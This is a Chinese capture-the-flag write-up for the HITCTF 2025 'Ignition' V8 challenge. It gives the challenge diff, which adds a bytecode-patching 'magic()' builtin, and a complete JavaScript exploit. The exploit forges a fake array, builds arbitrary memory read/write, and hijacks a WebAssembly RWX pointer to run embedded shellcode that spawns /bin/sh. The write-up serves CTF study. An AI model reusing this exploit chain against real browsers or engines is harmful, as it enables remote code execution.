HITCTF 2025 Ignition 题解

写在最前面

虽然说退役了,但是为了保持以及巩固我的漏洞利用能力,还是得每隔 2 - 4 周做一道高质量题目或者复现一个高质量 CVE

diff.diff

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index d91c78951b3..286129b5491 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -3220,6 +3220,65 @@ void Shell::WriteStdout(const v8::FunctionCallbackInfo<v8::Value>& info) {
WriteToFile(stdout, info);
}

+namespace {
+std::atomic<bool> g_magic_called_once{false};
+}
+void MagicBytecodePatch(const v8::FunctionCallbackInfo<v8::Value>& args) {
+ v8::Isolate* isolate = args.GetIsolate();
+ v8::HandleScope scope(isolate);
+
+ // One-shot guard: only the first call succeeds; later calls throw.
+ if (g_magic_called_once.exchange(true, std::memory_order_acq_rel)) {
+ ThrowError(isolate, "magic() can only be called once");
+ return;
+ }
+
+ if (args.Length() < 3 || !args[0]->IsObject()) return;
+
+ v8::Local<v8::Object> obj = args[0].As<v8::Object>();
+ int offset = args[1]->Int32Value(isolate->GetCurrentContext()).FromMaybe(-1);
+ int value = args[2]->Int32Value(isolate->GetCurrentContext()).FromMaybe(0);
+ if (offset < 0) return;
+
+ i::Isolate* i_isolate = reinterpret_cast<i::Isolate*>(isolate);
+
+ i::Handle<i::Object> internal = v8::Utils::OpenHandle(*obj);
+
+ i::Handle<i::BytecodeArray> bca;
+
+ if (IsBytecodeArray(*internal)) {
+ bca = handle(i::SbxCast<i::BytecodeArray>(*internal), i_isolate);
+ } else if (IsHeapObject(*internal) &&
+ IsJSFunctionOrBoundFunctionOrWrappedFunction(
+ *i::Cast<i::HeapObject>(internal))) {
+ auto callable =
+ i::Cast<i::JSFunctionOrBoundFunctionOrWrappedFunction>(internal);
+ while (IsJSBoundFunction(*callable)) {
+ internal::DisallowGarbageCollection no_gc;
+ auto bound_function = i::Cast<i::JSBoundFunction>(callable);
+ auto bound_target = bound_function->bound_target_function();
+ if (!IsJSFunctionOrBoundFunctionOrWrappedFunction(bound_target)) {
+ return;
+ }
+ callable = handle(
+ i::Cast<i::JSFunctionOrBoundFunctionOrWrappedFunction>(bound_target),
+ i_isolate);
+ }
+ i::DirectHandle<i::JSFunction> function = i::Cast<i::JSFunction>(callable);
+ if (!function->shared()->HasBytecodeArray()) return;
+ bca = handle(function->shared()->GetBytecodeArray(i_isolate), i_isolate);
+ } else {
+ return;
+ }
+
+ int length = bca->length();
+ if (offset >= length) return;
+
+ uint8_t* bytes =
+ reinterpret_cast<uint8_t*>(bca->GetFirstBytecodeAddress());
+ bytes[offset] = static_cast<uint8_t>(value & 0xFF);
+}
+
// There are two overloads of writeFile().
//
// The first parameter is always the filename.
@@ -4237,6 +4296,8 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
FunctionTemplate::New(isolate, ExecuteFile));
global_template->Set(isolate, "setTimeout",
FunctionTemplate::New(isolate, SetTimeout));
+
+ global_template->Set(isolate, "magic", v8::FunctionTemplate::New(isolate, MagicBytecodePatch));
// Some Emscripten-generated code tries to call 'quit', which in turn would
// call C's exit(). This would lead to memory leaks, because there is no way
// we can terminate cleanly then, so we need a way to hide 'quit'.

漏洞分析与利用

引入了一个 magic 函数可以在 Bytecode 上修改一字节

我好懒,就直接贴个 exp 吧。题目不难,exp 应该看几眼就明白了:)

exp.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
const {log} = console;

let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);

function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}

function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}

let hexx = (str, v) => {
log("[*] " + str + ": 0x" + v.toString(16));
};

var roots = new Array(0x30000);
var index = 0;

function add_ref(obj) {
roots[index++] = obj;
}

function major_gc() {
new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
for (let i = 0; i < 8; i++) {
add_ref(new ArrayBuffer(0x200000));
}
add_ref(new ArrayBuffer(8));
}

function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}

function pair_u32_to_f64(x, y){
return u2d((BigInt(x) & 0xffffffffn) + (BigInt(y) << 32n));
}

var spray_array = new Array(0xf700).fill(1.1);
var leak_object_array = new Array(0xf700).fill({});
var element_start_addr = 0x01240011;
var data_element_start_addr = element_start_addr + 7;
var map_addr = data_element_start_addr + 0x1000;
var fake_object_array_addr = map_addr + 0x1000;
var leak_element_start_addr = 0x012c0011;

spray_array[(fake_object_array_addr - data_element_start_addr) / 8] = pair_u32_to_f64(0x0100cff1, 0x7bd);
spray_array[(fake_object_array_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(leak_element_start_addr, 0x4);

let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7,
14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88,
235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49,
219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144,
144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);

let wasm_module = new WebAssembly.Module(wasm_code)
let wasm_instance = new WebAssembly.Instance(wasm_module)
let foo = wasm_instance.exports.main;

leak_object_array[0] = wasm_instance;

// for (let i = 0; i < 0x10000; i++) {
// foo();
// foo();
// }

// ================================ tigger ================================
function f() {
let x = 1.1;
return x;
}

function ttt() {
let x = 0x12131416;
x = 0x12131416;
x = 0x1242019; // fake_object_array_addr + 1
return x;
}

f();
ttt();

magic(f, 1, 24);

let fake_obj = f();
// =======================================================================

function read64(target){
spray_array[(fake_object_array_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(BigInt(target) - 7n, 0x4);
return d2u(fake_obj[0]);
}

function write64(target, msg){
spray_array[(fake_object_array_addr - data_element_start_addr) / 8 + 1] = pair_u32_to_f64(target + 1n - 8n, 0x4);
fake_obj[0] = u2d(msg);
}

function leak_obj(obj){
leak_object_array[0] = obj;
let leak = read64(leak_element_start_addr + 8 - 1);
return leak & 0xffffffffn;
}

let leak = read64(leak_element_start_addr + 8 - 1);
let wasm_instance_addr = leak & 0xffffffffn;
hexx("wasm_instance_addr", wasm_instance_addr);

leak = read64(wasm_instance_addr + 8n - 1n);
let trusted_data_addr = leak >> 32n;
hexx("trusted_data_addr", trusted_data_addr);

let rwx_addr = read64(trusted_data_addr + 40n - 1n);
hexx("rwx_addr", rwx_addr);

write64(trusted_data_addr + 40n - 1n, rwx_addr + 0x9dbn);

var pwn = wasm_instance.exports.main;
pwn();

下面是打远程的截图: